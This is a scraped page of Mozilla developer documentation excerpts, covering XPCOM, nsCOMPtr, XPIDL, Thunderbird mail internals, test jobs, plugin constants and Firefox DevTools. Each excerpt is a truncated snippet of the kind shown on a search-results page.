mm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl 146 typedef long nsmsgsearchopvalue; 147 148 [scriptable, uuid(9160b196-6fcb-4eba-aaaf-6c806c4ee420)] 149 interface nsmsgsearchop { 150 const nsmsgsearchopvalue contains = 0; /* for text attributes */ 151 const nsmsgsearchopvalue doesntcontain = 1; 152 const nsmsgsearchopvalue is = 2; /* is and isn't also apply to some non-text attrs */ 153 const nsmsgsearchopvalue isnt = 3; 154 const nsmsgsearchopvalue isempty = 4; 155 156 const nsmsgsearchopvalue isbefore = 5; /* for date attributes */ 157 const nsmsgsearchopvalue isafter = 6; 158 159 const nsmsgsearchopvalue ishigherthan = 7; /* for priority. is also applies */ 160 const nsmsgsearc...
...plies =) */ 172 const nsmsgsearchopvalue isinab = 16; 173 const nsmsgsearchopvalue isntinab = 17; 174 const nsmsgsearchopvalue isntempty = 18; /* primarily for tags */ 175 const nsmsgsearchopvalue matches = 19; /* generic term for use by custom terms */ 176 const nsmsgsearchopvalue doesntmatch = 20; /* generic term for use by custom terms */ 177 const nsmsgsearchopvalue knu
mmsgsearchoperators = 21; /* must be last operator */ 178 }; ...
XPCOM reference
cthis function prototype provides the xpcom entry-point into a module.nsiabcard/thunderbird3the nsiabcard interface is used to represent and manipulate cards in the address book. in a big change from the original nsiabcard, properties are now stored in a hash table instead of as attributes on the interface, allowing it to be more flexible.nsicookie2 mozilla 1 8 branchnsimsgsearchvaluedefined in co
mm-central/ mailnews/ base/ search/ public/ nsimsgsearchvalue.idl nsmsgmessageflagsthe nsmsgmessageflags interface describes possible flags for messages. equivalent flags are also defined in nsmsgmessageflags.h. nsmsgnavigationtypethe nsmsgnavigationtype interface contains constants used for message navigation in thunderbird. for example to move forward a message, you would call:nsmsgsearchopval...
...ews/ base/ search/ public/ nsimsgsearchvalue.idl nsmsgmessageflagsthe nsmsgmessageflags interface describes possible flags for messages. equivalent flags are also defined in nsmsgmessageflags.h. nsmsgnavigationtypethe nsmsgnavigationtype interface contains constants used for message navigation in thunderbird. for example to move forward a message, you would call:nsmsgsearchopvaluedefined in co
mm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl nsmsgviewco
mmandcheckstatethe nsmsgviewco
mmandcheckstate interface contains constants used for co
mmand status in thunderbird. it is (as far as i can tell) not currently used anywhere in thunderbird.nsmsgviewco
mmandtypethe nsmsgviewco
mmandtype interface contains constants used for co
mmands in thunderbird. for example to mark a message re...
Status, Recent Changes, and Plans
mple assignment forms do. added do_createinstance. added do_getservice. eliminated the need to cast getter_addrefs when an nsisupports** is needed. relaxed the invariant for nscomptr<nsisupports>, so that it is now a pointer to any xpcom interface. added do_queryreferent to make using nsiweakreferences easier. plans for nscomptr bug 59212: as soon as we test on more compilers, start reco
mmending already_addrefed as a function result. bug 59414: making operator& private may help prevent some leaks caused by casting move the factored nscomptr routines into their own library, to reduce nscomptr clients' dependency on the xpcom library. recent changes to this document removed the statement that == and != between an nscomptr and a raw pointer or literal 0 does not work on some co...
... ...
Using nsCOMPtr
. just keep reading. you'll know when to stop. after you've been using nscomptrs for a while, and you reach unfamiliar territory, or run into compiler errors; you may want to return to this document to get help from the reference manual or the faq. contents status, recent changes, and plans recent changes to nscomptr getting started guide introduction using nscomptr su
mmary reference manual the basics initialization and assignment using an nscomptr<t> as a t* efficiency and correctness compiler annoyances frequently asked questions buildtime errors runtime errors how do i... general bibliography original document information author(s): scott collins last updated date: december 11, 2001 copyright informa...
...ime errors runtime errors how do i... general bibliography original document information author(s): scott collins last updated date: december 11, 2001 copyright information: copyright © 1999, 2000 by the mozilla organization; use is subject to the mpl. portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details. ...
Using nsIDirectoryService
nterfaces. it does not need to be a component - it can be a static lib, a source file in your project - whatever. just construct it, pass it to ns_initembedding, and it will be installed. if you are not using ns_initembedding, you will have to construct it and register it yourself using nsidirectoryservice.registerprovider(). if you are registering it yourself it is very important to register it i
mmediately after calling ns_initxpcom. there are things in the startup process that need these locations at a very early point - even before registering components. if you want to use mpfilelocprovider, or something like it, to provide one fixed profile, just construct it and call its initialize method - it will register itself. again, if you do this, do not initialize the profile service - it's eit...
... itself. again, if you do this, do not initialize the profile service - it's either one or the other. related pages code_snippets:file_i/o original document information authors: conrad carlen, doug turner last updated date: september 26, 2000 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details. ...
XPCOM ABI
to retrieve the abi of your firefox or thunderbird, open the error console (accessible through tools | error console) and evaluate the following javascript code: components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulruntime) .xpcomabi if either the cpu architecture or the c++ compiler are unkn...
...he mozilla build system, the variable storing the xpcom abi is named target_xpcom_abi. (this is an internals detail and should be of no concern to an extension developer.) extension installation when the application (e.g. firefox) is built, the name of the abi it supports is embedded into it. later on, it could use this value to check compatibility with third-party binary xpcom components. a co
mmon point of compatibility check is during the installation of extensions. if an extension provides binary xpcom components, it should declare their xpcom abi in the install manifest. an extension author may build (compile) the xpcom component for each and every supported machine and pack all the builds into a single xpi, each into its distinctive platform-specific subdirectory. at extension instal...
wrappedJSObject
at should be used to access the component, it's inconvenient to write the interfaces (and recompile each time you change them) when working on a prototype of the component. meet wrappedjsobject xpconnect lets you bypass its wrappers and access the underlying js object directly using the wrapper.wrappedjsobject property if the wrapped object allows this. ...
...wrapped object allows this. more specifically, as xpconnect source co
mments say, you can get comp.wrappedjsobject if three conditions are met: comp really is an xpconnect wrapper around a js object. wrappers around non-js objects don't have this property. the underlying object has a wrappedjsobject property that returns a js object. nsixpcsecuritymanager allows access (see the source code co
mments for details; this is usually not an issue for mozilla extensions and applications) this means that in order to access the js object implementing our component directly, we must modify the component. for example: function helloworld() { this.wrappedjsobject = this; }; now we can get the component directly: var comp = components.classes["@myself.com/my-component;1"] ...
Xptcall Porting Status
i gather that the vtable layout is a little different for those compilers and the code will need minor modifications in order to work properly. i am not sure how much of the code can be used for openvms alpha and/or digital unix. currently the code is dependent on the g++ name mangling convention and a few gnu extensions so i'm not sure how useful it will be for the other systems. hopefully the co
mments in the code are detailed enough to help people attempting a port. <font color="white">done</font> sunos x86 arthur jones <aljones@lbl.gov> <font color="red">?</font> philip pokorny <ppokorny@mindspring.com> the word i hear is that this is working and done <font color="white">done</font> hp-ux thomas wang <wang@cup.hp.com> mike gleeson <mgleeson1@netscape.com> i hear that this code is...
... porting to the platform based on the code for linux arm. the invokebyindex code works correctly when used with testxptcinvoke. i am currently working on making testxpc function correctly. i am doing the porting work with egcs-1.1.2 on netbsd 1.4p (netbsd-current snapshot from a couple of days ago). <font color="white">done</font> linux ia64 hp ulrich drepper <drepper@redhat.com> bug 40950 co
mment 15 <font color="white">help!</font> all others! - - note: i've used the symbol (<font color="red">?</font>) to indicate people who have expressed an interest in possibly contributing code. just because these people are listed here does not mean that they have co
mmited themselves to do the work. if you would like to contribute then let me know. feel free to email these folks and offer to h...
XPCOM
opers trying to support multiple gecko versions (firefox 2 and 3, for example).creating a python xpcom componentcreating applications with mozilla already provides a tutorial for making a simple javascript or c++ component (implementing the nsisimple interface). here is how to make the same component in python using pyxpcom.fun with xbl and xpconnectgenerating guidsguids are used in mozilla progra
mming for identifying several types of entities, including xpcom interfaces (this type of guids is callled iid), components (cid), and legacy add-ons—like extensions and themes—that were created prior to firefox 1.5. add-ons can (and should) be identified with ids of the form extensionname@organization.tld since firefox 1.5.generic factorymost xpcom factories can be very simple. rick potts wrote...
...bly language code. it is used to facilitate cross language and cross thread method calls. porting this code is required in order to make mozilla run on any given platform.xptcall porting guideoriginal author: john bandhauer, 31 may 1999.xptcall porting statusthis is a status page for the multiplatform porting of xptcall. xptcall has a faq and a porting guide. ...
XPIDL
ces specifying interfaces is the primary purpose of using xpidl. interfaces are basically a collection of constants, methods, and attributes; in mozilla, these are the primary ways in which javascript code can interact with native c++ code. furthermore, interfaces can also inherit from another interface. every interface should inherit nsisupports in some fashion. however, it is generally not reco
mmended to have a chain of interfaces inheriting from each other if you intend to have a chain of implementations for each interface, as it can cause problems in c++ code. table 4: basic interface attributes attribute interpretation uuid(12345678-fedc-ba98-7654-0123456789ab) this is the internal way this interface is accessed; it must be unique, and the uuid must be gen...
...urce and binary compatibility some consumers of idl interfaces create binary plugins that expect the interfaces to be stored in a specific way in memory. in other words, some changes made to idl interfaces require the author to modify the unique identifier (iid) in order to make it clear to plugins that utilize these interfaces that they have changed, and thus their plugin must be recompiled. co
mmon changes to an interface, such as changes to a method signature, number of arguments, and number or type of attributes, automatically require an iid change. in addition, some changes to interface attributes require that an iid be changed, as well. when a change to an interface made by an xpidl developer requires that third-party binary addons be recompiled, we say that it affects binary compatib...
Test-Info
the test-info task group runs per-co
mmit, only on mozilla-central. each task generates one or more json-formatted data files providing detailed information on tests run in continuous integration, typically broken down by bugzilla component. data files are typically consumed by dashboards, like www.arewefissionyet.com. running test-info locally "test-info" is a mach co
mmand and can be run from any source tree. ...
...nly on mozilla-central. each task generates one or more json-formatted data files providing detailed information on tests run in continuous integration, typically broken down by bugzilla component. data files are typically consumed by dashboards, like www.arewefissionyet.com. running test-info locally "test-info" is a mach co
mmand and can be run from any source tree. test-info has several sub-co
mmands; the "report" sub-co
mmand is used by the test-info tasks mozilla-central$ mach help test-info report to reproduce test-info(all): mozilla-central$ mach test-info report --show-tests --show-su
mmary --show-activedata running test-info on try to run these tasks on try, use something like: mach try fuzzy -q test-info contact information test-info is maintained by :gbrown. bugs should ...
The Valgrind Test Job
mach valgrind-test see also the general instructions for using valgrind with mozilla code. ...
... best suited to running valgrind. running the valgrind test job locally valgrind works best on linux. it also works on mac, though sometimes not as well. building you need a valgrind-enabled build of firefox. add the following lines to your mozconfig file. ac_add_options --enable-valgrind ac_add_options --disable-jemalloc running to run the valgrind test job locally, run the following co
mmand. mach valgrind-test see also the general instructions for using valgrind with mozilla code. understanding errors for each problem that valgrind finds, it emits a message describing the problem, along with a stack trace indicating where the problem occurs. it also prints a suppression, which is a sequence of text that can be put in a suppression file (and specified via valgrind's --suppres...
Testing Mozilla code
these articles will help you master (and continue to excel at) testing mozilla code. asan nightly projectthe asan nightly project involves building a firefox nightly browser with the popular addresssanitizer tool and enhancing it with remote crash reporting capabilities for any errors detected.clang static analysisthis document is split in two parts. ...
...ogram, given some test that you run on it. there are different types of coverage metrics (see also the wikipedia entry), but when we speak of code coverage here, we usually mean line and branch coverage. this type of coverage is only concerned with hit counts for lines and branches.the valgrind test jobthe valgrind test job builds the browser and runs it under valgrind, which can detect various co
mmon memory-related errors. this job only runs on linux64, which is the platform best suited to running valgrind. ...
Address book sync client design
it new, if a record was deleted, // mark the entry deleted, etc. // // sync approach - server handles all conflict resolution: // // step 2: // using the sync mapping table and the local records database, generate the change // list to send to the server. mark any modified or new record with the ret (retry) // flag. // // step 3: // get the response back from the server. since the co
mmunication was successful, // clear the ret (retry) flag on all records. then apply the server changes back // to the local database (updating the crc's in the process). save the changes to // the local database, clear the sync mapping table flags and save the new sync // mapping table. // public interfaces there is a very simple interface to the address book sync comp...
...the observer that the ab sync operation has been completed. * * this method is called regardless of whether the the operation was * successful. * * atransactionid - the id for this particular request * astatus - status code for the sync request * amsg - a text string describing the error (if any). * acookie - h
mmm...cooookies! */ void onstopauthoperation(in nsresult astatus, in wstring amsg, in string acookie); /** * notify the observer that the ab sync operation has begun. this method is * called only once, at the beginning of a sync transaction * */ void onstartoperation(in print32 atransactionid, in pruint32 amsgsize); /** * notify the observer th...
Cached compose window FAQ
it complicates and bloats the code, and it requires more testing. the upside is that is has been a major performance win why did you do this? back 0.9.7, we hit a wall with the compose window. any new window performance problems that mozilla has are especially painful in mail compose, as we need to create a new compose window on every new mail message or reply. but we noticed that the co
mmon usage pattern is to compose, send, compose, send, compose send. we decided it would be worth the trouble to cache the compose window. if the user has this usage pattern, we wouldn't have to create a new window. we could just hide it on send, and then show it on the next compose. if the user opens (but never sends or closes compose windows), this trick will not apply to them. but this is n...
...e pattern is to compose, send, compose, send, compose send. we decided it would be worth the trouble to cache the compose window. if the user has this usage pattern, we wouldn't have to create a new window. we could just hide it on send, and then show it on the next compose. if the user opens (but never sends or closes compose windows), this trick will not apply to them. but this is not a co
mmon usage model. how do i test it? on window and mac, the cached compose window is on by default. to test it start mozilla do new message. this is a new compose window. notice how long it took. close or send the window. (the compose window is now cached) do new message again. this is the cached compose window. it should have been faster than in step 2. close or send the window. (th...
nsIMsgCloudFileProvider
uploadexceedsfilelimit 0x8055311c returned when uploading has failed because the file being uploaded is larger than the file size limit. uploadcanceled 0x8055311d returned when uploading has stopped because it was cancelled by the user. methods init() initializes an nsimsgcloudfileprovider to be associated with a particular account. this should probably be called i
mmediately after instantiation. void init(in string aaccountkey); parameters uploadfile() starts a file upload for this account. aaccountkey the account key that this instance of the nsimsgcloudfileprovider should be associated with. void uploadfile(in nsilocalfile afile, in nsirequestobserver acallback); parameters afile the file to be uploaded. acallback the nsir...
... aemailaddress the new user account email address. apassword the desired password for the new account. afirstname the new account holder's first name. alastname the new account holder's last name. acallback the nsirequestobserver for monitoring the start and stop states of the new account creation operation. createexistingaccount() for an init'ed nsimsgcloudfileprovider, attempts to co
mmunicate with the service provider in order to get the proper credentials for starting uploads. void createexistingaccount(in nsirequestobserver acallback); parameters acallback the nsirequestobserver for monitoring the start and stop states of the creation operation. providerurlforerror() for an error code, for example uploadwouldexceedquota, a provider might have a url with information ...
MailNews Protocols
the corresponding protocol subdirectory of mailnews (i.e., mailnews/imap, mailnews/local (for pop3), mailnews/news): an incoming server class, which implements nsimsgincomingserver and inherits from mailnews/base/util/nsmsgincomingserver, i.e.., nspop3incomingserver, nsimapincomingserver, nsnntpincomingserver. a folder class, which implements nsimsgfolder, and inherits from nsmsgdbfolder. most co
mmands/operations go through the folder object. nsimapmailfolder, nsnewsfolder, nslocalmailfolder (for pop3) a service class, which generally sits between the folder object or the server object, and the protocol object. the service class creates and initializes the url object for the operation, and hands that off to a protocol object to run. the service classes usually have their own interface, but ...
...operation, and hands that off to a protocol object to run. the service classes usually have their own interface, but they also implement nsimsgmessageservice. a url object. these implement nsimsgmailnewsurl, inherit from base/util/nsmsgmailnewsurl, and implement their own protocol-specific interface (nsiimapurl, nsinntpurl, nsipop3url). a protocol object that takes a url and handles the network co
mmunications with the actual server required to run that url. these implement nsimsgprotocol, inherit from nsmsgprotocol, and implement their own protocol-specific interface (nsiimapprotocol, nsipop3protocol, nsinntpprotocol) in addition, in mailnews/db/msgdb/public, we have protocol-specific msg db classes (and in the case of news, a nsinewsdatabase interface), so that we can use polymorphism when ...
Mail client architecture overview
ders have folder indexes. messages - messages are always stored and streamed in rfc822 format. whenever multiple messages are stored in one file, the berkeley mailbox format is used. datasources - datasources are the glue code that reflect mail data such as folders and messages into rdf. rdf will use the datasource to create user interfaces based on this data. datasources are also used to run co
mmands that operate on this mail data. events - as data changes throughout the mail application, the event system notifies key components such as datasources and the url system of these changes. mail window management - each mail window maintains a certain amount of state to aid in view navigation, progress display, etc. url display and dispatching - in order to perform network operations such as...
...ts it's state to the mail window. there are also a number of protocol independant subsystems that have a symbiotic relationship with base: libmime - for dealing with rfc822 messages and their mime parts. this library has the cabability to stream messages to an html renderer such as gecko, manage individual parts of messages, and so forth. msgdb - a message database for a given folder is a su
mmary of some of the key attributes in a folder such as the author and subject. finally, there are larger modules outside of the mail client that are mail-oriented. most of these modules have little dependancy on the mail reader itself: compose - the mail compose module is responsible for anything that has to do with sending mail. this includes the mail compose window, creation of rfc822 messag...
Main Windows
thunderbird is messenger.xul: messenger.xul itself doesn’t contain a lot. its main focus is on handling the folderpane, threadpane, and the message preview sections shown above. the rest is loaded from overlays: mailwindowoverlay.xul this is the red sections shown in the interface above (where?), including the toolbars, notification bars, and the status bar, but also includes most of the co
mmands, keysets, and context menus of thunderbird, along with a whole lot of javascript. mailoverlay.xul a really small overlay that only adds a few “new message” and “new card” co
mmands to the menus, along with their associated javascript. msghdrviewoverlay.xul shown in blue above (where?), this overlay consists of three boxes. two are stacked showing either a brief or expanded view of ...
...ts almost exactly the same as messenger.xul in terms of overlays, but just lacks the folder and threadpanes normally shown. menus, toolbar buttons, and headers are all taken from exactly the same overlays listed above though. mailwindowoverlay.xul this is the red sections shown in the interface above, including the toolbars, notification bars and the status bar.it also includes most of the co
mmands, keysets, and context menus of thunderbird, along with a whole lot of javascript. msghdrviewoverlay.xul shown in blue above, this overlay consists of three boxes. two are stacked showing either a brief or expanded view of the headers. the third is the attachment box which can be toggled into a slim or an expanded view basemenuoverlay.xul contains the contents of most of the menus (i.e. fi...
Building a Thunderbird extension 1: introduction
it shares many of the technologies used by mozilla firefox, including javascript, the gecko layout engine, the xul xml user interface language and the xpcom cross-platform component object model. similar to firefox, thunderbird functionality can be enhanced and customized via extensions. warning: this content is for older versions of thunderbird. much of it may no longer be relevant. see developer.thunderbird.net for newer information. this tutorial will introduce you to the components of a thunderbird extension and will show you how to build your own. ...
...lications that are useful for testing and debugging thunderbird extensions, such as javascript consoles and xpcom inspectors. these are described on the page "setting up an extension development environment". documentation thunderbird extensions (documentation overview) firefox addons developer guide (many topics are applicable to thunderbird) mozilla cross-reference source code browser ("co
mm-central" contains the thunderbird code repository) co
mmunity the thunderbird development co
mmunity has a mailing list with an extensive searchable archive with an extensive searchable archive. you can also talk with the co
mmunity on the #maildev irc channel. next » ...
Finding the code for a feature
he first is the dom inspector extension which i have routinely installed in all of my thunderbird installations. (for debug builds, you can make it appear by default using "ac_add_options --enable-extensions=default,venkman,inspector" which is part of my standard configuration). the second is mozilla's source code search tool mxr. i keep two prominent links to this on my firefox toolbar, one to co
mm-central string search, and one to co
mm-central file search. so, how did i use those to figure out how to do this? i know there is a menu co
mmand "tag" to tag the message - how does it do it? using dom inspector, i find the tag menu item, and i see that it uses co
mmand "cmd_tag". then i use mxr and look for "cmd_tag". i see it occurs in mail3panewindowco
mmands.js a couple of times. i look at the ...
... oops, i guess i need to get the submenu instead. repeating this process, i see that the submenu items all call a function togglemessagetagmenu. looking that up in mxr, its underlying function uses a very strange call prevhdrfolder[toggler](messages, key) to change the key. trying to figure that out from the code, i see that is just a clever way to do the addkeywordstomessages or removekeywordsfro
mmessages method call. (please don't do that guys, it really makes code search difficult!) so the answer the your question is, use the nsimsgfolder method "addkeywordstomessages" (and now i remember that i knew that!). if you want examples, scan mxr for addkeywordstomessages. you'll find that the only decent examples are in unit tests, my test_bug428427.js or asuth's messagemodifier.js ...
Add Option to Context Menu
chrome://myext/content/thunderbird-overlay.xul add the next in thunderbird-overlay.xul. ...
... label="my option concise and cool label" onco
mmand="alert('hi')"/> </menupopup> </overlay> for thunderbird 3 <?xml version="1.0"?> <overlay id="sample" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <popup id="mailcontext"> <menuitem id="my_option" label="my option concise and cool label" onco
mmand="alert('hi')"/> </popup> </overlay> for thunderbird 2 and 3 in the same xpi if our extension needs to support thunderbird 2 and 3 we need to make custom overlays for each version. this can be reached by adding these lines to the chrome.manifest file: overlay chrome://messenger/content/mailwindowoverlay.xul chrome://myaddon/content/tboverlay-tb2.xul appversion<3.0 overlay chrome://mess...
Using the Mozilla source server
predating the switch to mercurial, you'll need cvs.exe, added to your path (the cvs.exe from mozillabuild has problems, use this one instead) note: do not use the cvs from mozillabuild, it will not work! set up symbols follow the instructions for using the mozilla symbol server. once the symbol path is set you must now enable source server. using the source server in windbg in the windbg co
mmand line, type .srcfix and hit enter. this enables source server support. now, when you click on a frame in the "calls" window, windbg will prompt you about running cvs to download the associated source code. if you click "yes", windbg will display *busy* in the status bar while it downloads the source, and then it will automatically open the file and highlight the current line. using the...
... dir (replacing the existing copy) it will work. enable source server support under tools -> options. also, disable (uncheck) the box that says "require source files to exactly match the original version". start debugging your program. symbols will load and then, if you're using a cvs build, when you try to step into or step over a confirmation window will appear asking if you trust the cvs co
mmand that source server is trying to run. after the co
mmand executes, the source file will load in the window. ...
js-ctypes reference
ress. ctypes reference the ctypes object is the base of the ctypes api. it is obtained by by loading the ctypes module: components.utils.import("resource://gre/modules/ctypes.jsm"); you can use the ctypes object to load libraries, construct types, and perform miscellaneous tasks such as type casting. the ctypes object also provides numerous predefined types that correspond to primitives and co
mmon typedefs in c. working with libraries to load a library, use ctypes.open(). the library object is used mostly to declare native functions provided by the library so that js-ctypes knows how to call them. see library.declare() for instructions on how to declare these functions. once you have finished working with a library, call library.close(). calling conventions see abi. types and data...
...g conventions see abi. types and data to use js-ctypes effectively, it is important to understand the different kinds of objects that the module provides. there are three major categories: types these represent a type in c, and are thus represented by ctype objects. these objects have two main purposes. first, they provide a concrete representation of different data types, allowing the progra
mmer to describe the arguments and return type of a native function (see library.declare()). second, they serve as constructors to create concrete instances of the given type, i.e. cdata objects. out of the box, js-ctypes supports a number of predefined types. type constructors these are functions that define new types, and thus return a ctype object. these include ctypes.pointertype(type) an...
Constants - Plugins
nction table invalid. nperr_module_load_failed_error 4 loading of plug-in failed. nperr_out_of_memory_error 5 memory allocation failed. nperr_invalid_plugin_error 6 plug-in missing or invalid. nperr_invalid_plugin_dir_error 7 plug-in directory missing or invalid. nperr_incompatible_version_error 8 versions of plug-in and co
mmunicator do not match. nperr_invalid_param 9 parameter missing or invalid. nperr_invalid_url 10 url missing or invalid. nperr_file_not_found 11 file missing or invalid. nperr_no_data 12 stream contains no data. nperr_stream_not_seekable 13 seekable stream expected. result codes constant value descript...
...valid_param 9 parameter missing or invalid. nperr_invalid_url 10 url missing or invalid. nperr_file_not_found 11 file missing or invalid. nperr_no_data 12 stream contains no data. nperr_stream_not_seekable 13 seekable stream expected. result codes constant value description npres_done 0 (most co
mmon): completed normally; all data was sent to the instance. npres_network_err 1 stream failed due to problems with network, disk i/o, lack of memory, or other problems. npres_user_break 2 user canceled stream directly by clicking the stop button or indirectly by some action such as deleting the instance or initiating higher-priority network operations. plug-in ...
Drawing and Event Handling - Plugins
ts graphics port to each instance. on any platform, the browser should be careful not to draw in the plug-in's area, and vice versa. the data structure passed in npp_setwindow is an npwindow object, which contains the coordinates of the instance's area and various platform-specific data. typically, the browser calls npp_setwindow after creating the instance so that the plug-in can begin drawing i
mmediately. however, the browser can create invisible instances for which npp_setwindow is never called and a window is never created. this happens when plug-ins are invoked with an html object element that has been hidden with css rules (see plug-in display modes in the introduction) or with an embed element whose hidden attribute has been set. the browser should call npp_setwindow again whenever ...
...quested information, a value of type hwnd, is returned from npn_getvalue in the value parameter. in many cases, a plug-in may still have to create its own window (a transparent child window of the the browser window) to act as the owner window for pop-up menus and modal dialog boxes. you can give this transparent child window its own windowproc process. the plug-in can use this to deal with wm_co
mmand messages sent to it as a result of tracking the pop-up menu or modal dialog box. unix/x11 the value parameter for npn_getvalue must point to an xlib window. on successful return this will contain the browser toplevel window. use this window to set the wm_transient_for property on dialog boxes. event handling for windowless plug-ins on all platforms, platform-specific events are passed t...
Accessibility Inspector - Firefox Developer Tools
note: some dom elements do not have accessibility properties — in that case, the inspect accessibility properties/show accessibility properties context menu item is grayed out. highlighting of ui items in the accessibility tab, when the mouse hovers over accessibility items, you can see a semi-transparent ...
..., fall", and the color contrast ratio, 3.46, appears in the information bar above it. color contrast contrast ratio information is particularly useful when you are designing the color palette for your website because if the contrast is not sufficient, readers with visual impairments such as low vision or color blindness will be unable to read the text. see color contrast for details about reco
mmended contrast ratios. for example: the color contrast in the image above is 2.86, so potentially not enough contrast to make it easy to read. notice the warning symbol that indicates that the contrast fails to meet the acceptable contrast ratio. as of firefox 65, viewing this information for some foreground text that has a complex background image (e.g. a gradient) gives you a range of color...
DOM Inspector FAQ - Firefox Developer Tools
e can include chrome documents, but it's not suggested that you inspect xul documents by directly inspecting them via url, since some behavior may rely on the document being contained in another xul document, or the converse, where it won't behave correctly because it doesn't expect to be loaded as a framed document. instead, get the xul document to load as you normally would (e.g., by invoking co
mmands or opening windows via standard application use), then locate it in the inspect chrome document menu. why do some nodes in the document dom nodes viewer appear in red? these nodes are anonymous content nodes, meaning they are not in the dom generated by the original document. okay, what if i don't want to see those anonymous nodes? you can hide anonymous nodes in inspector by unchecking ...
... ...
Introduction to DOM Inspector - Firefox Developer Tools
use the dom inspector. dom inspector viewers note that these viewers are just two viewers that the dom inspector provides. it's possible to use other viewers, but for now we'll stick to describing the dom nodes viewer and the dom node viewer. you can use the dom nodes viewer in the document pane of the dom inspector to find and inspect nodes you are interested in. one of the biggest and most i
mmediate advantages that this brings to your web and application development is that it makes it possible to find the markup and the nodes in which the interesting parts of a page or a piece of the user interface are defined. one co
mmon use of the dom inspector is to find the name and location of particular icon being used in the user interface, which is not an easy task otherwise. if you're inspect...
...uses a list-style-image property to point to a file in the current theme. the list of viewers available from the viewer menu gives you some idea about how extensive the dom inspector's inspecting capabilities are. the following descriptions provide an overview of what these viewers are about: the dom nodes viewer shows attributes of nodes that can take them, or the text content of text nodes, co
mments, and processing instructions. the attributes and text contents may also be edited. the box model viewer gives various metrics about xul and html elements, including placement and size. the xbl bindings viewer lists the xbl bindings attached to elements. if a binding extends another binding, the binding menulist will list them in descending order to to "root" binding. the css rules viewer s...
Search - Firefox Developer Tools
press return to search. ...
...press return to search. the debugger will display the number of matches in the code and highlight each result: using the outline tab if you are searching for a specific function within the current javascript file, you can use the outline tab in the debugger to find it quickly. ...
Use a source map - Firefox Developer Tools
the original source, rather than the source in the transformed state that the browser has downloaded. a source map is a file that maps from the transformed source to the original source, enabling the browser to reconstruct the original source and present the reconstructed original in the debugger. to enable the debugger to work with a source map, you must: generate the source map include a co
mment in the transformed file, that points to the source map. the co
mment's syntax is like this: //# sourcemappingurl=http://example.com/path/to/your/sourcemap.map in the video above we load https://mdn.github.io/devtools-examples/sourcemaps-in-console/index.html. this page loads a source called "main.js" that was originally written in coffeescript and compiled to javascript. the compiled sourc...
...sformed file, that points to the source map. the co
mment's syntax is like this: //# sourcemappingurl=http://example.com/path/to/your/sourcemap.map in the video above we load https://mdn.github.io/devtools-examples/sourcemaps-in-console/index.html. this page loads a source called "main.js" that was originally written in coffeescript and compiled to javascript. the compiled source contains a co
mment like this, that points to a source map: //# sourcemappingurl=main.js.map in the debugger's source list pane, the original coffeescript source now appears as "main.coffee", and we can debug it just like any other source. ...
Debugger keyboard shortcuts - Firefox Developer Tools
co
mmand windows macos linux close current file ctrl + w cmd + w ctrl + w search for a string in the current file ctrl + f cmd + f ctrl + f search for a string in all files ctrl + shift + f cmd + shift + f ctrl + shift + f find next in the current file ctrl + g cmd + g ctrl + g search for scripts by name ctrl + p cmd + p ctrl + p resume execution when at a breakpoint f8 f8 1 f8 step over f10 f10 1 f10 step into f11 f11 1 f11 step out shift + f11 shift + f11 1 shift + f11 toggle breakpoint on the currently selected line ctrl + b cmd + b ctrl + b toggle conditional breakpoint on the current...
...ndard function key, hold the function key down as well (so to open the profiler, use shift + function + f5). note: before firefox 66, the combination ctrl + shift + s on windows and linux or cmd + opt + s on macos would open/close the debugger. ...
Source map errors - Firefox Developer Tools
note: if you're new to source maps, you can learn more about them in how to use a source map. general source map error reporting if you do see a problem, a message will appear in the webconsole. ...
...ear in the webconsole. this message will show an error message, the resource url, and the source map url: here, the resource url tells us that bundle.js mentions a source map, and the source map url tells us where to find the source map data (in this case, relative to the resource). the error tells us that the source map is not json data — so we're serving the wrong file. there are a few co
mmon ways that source maps can go wrong; they are detailed in the following sections. source map missing or inaccessible the source map resource can be missing or inaccessible. the fix here is to make sure the file is being served and is accessible to the browser invalid source map the source map data can be invalid — either simply not a json file at all, or with an incorrect structure. typ...
Debugger.Source - Firefox Developer Tools
t source, if this source was produced by a minimizer or translated from some other language, and we know the url of a source map document relating the source positions in this source to the corresponding source positions in the original source, then this property’s value is that url. otherwise, this is null. (on the web, the translator may provide the source map url in a specially formatted co
mment in the javascript source code, or via a header in the http reply that carried the generated javascript.) this property is writable, so you can change the source map url by setting it. all debugger.source objects referencing the same source will see the change. setting an empty string has no effect and will not change existing value. if the instance refers to webassembly code, null. attempt...
....) this property is writable, so you can change the source map url by setting it. all debugger.source objects referencing the same source will see the change. setting an empty string has no effect and will not change existing value. if the instance refers to webassembly code, null. attempts to write to this property throw a typeerror. displayurl if the script had a special //# sourceurl co
mment, as described in the source maps specification, then this property’s value holds the string that was given. otherwise, this is null. element the debugger.object instance referring to the dom element to which this source code belongs, if any, or undefined if it belongs to no dom element. source belongs to a dom element in the following cases: source belongs to a <script> element ...
Deprecated tools - Firefox Developer Tools
are eventually removed. we have created this list of deprecated or removed panels. this page documents the deprecated panels and the bugs that track their removal. although these panels have been removed, you still have access to the old code, and there are alternative webextensions that you can try to get similar functionality. when we deprecate a panel, we begin by getting feedback from the co
mmunity to determine the impact of removing that panel. once we have decided to remove the panel, we will provide a warning message, and finally, we will remove the panel from the codebase. you may see a warning message, as in the following image, when trying to activate a deprecated panel: in addition, if you open the panel for one of these tools, you will also see a warning message about its r...
...he console input, or with ctrl + b (cmd + b on macos) when in editor mode, the enter key adds a new line in the input, and you can evaluate the expression using ctrl + enter (cmd + enter on macos). when evaluating, the input isn't cleared, which makes it possible to quickly iterrate over a snippet of code. the results are displayed in the console output, to the right of the input, providing i
mmediate feedback. unlike in scratchpad, errors are properly displayed in the output with an expandable stacktrace, making it easier to debug the code you're currently writing. starting firefox 72, you can import a javascript file content in the console input with ctrl + o (cmd + o on macos), as well as saving the console input content to a file using ctrl + s (cmd + s on macos). webide and connec...
Dominators - Firefox Developer Tools
nguages like javascript. these concepts matter in memory analysis, because often an object may itself be small, but may hold references to other much larger objects, and by doing this will prevent the garbage collector from freeing that extra memory. you can see the dominators in a page using the dominators view in the memory tool. with a garbage-collected language, like javascript, the progra
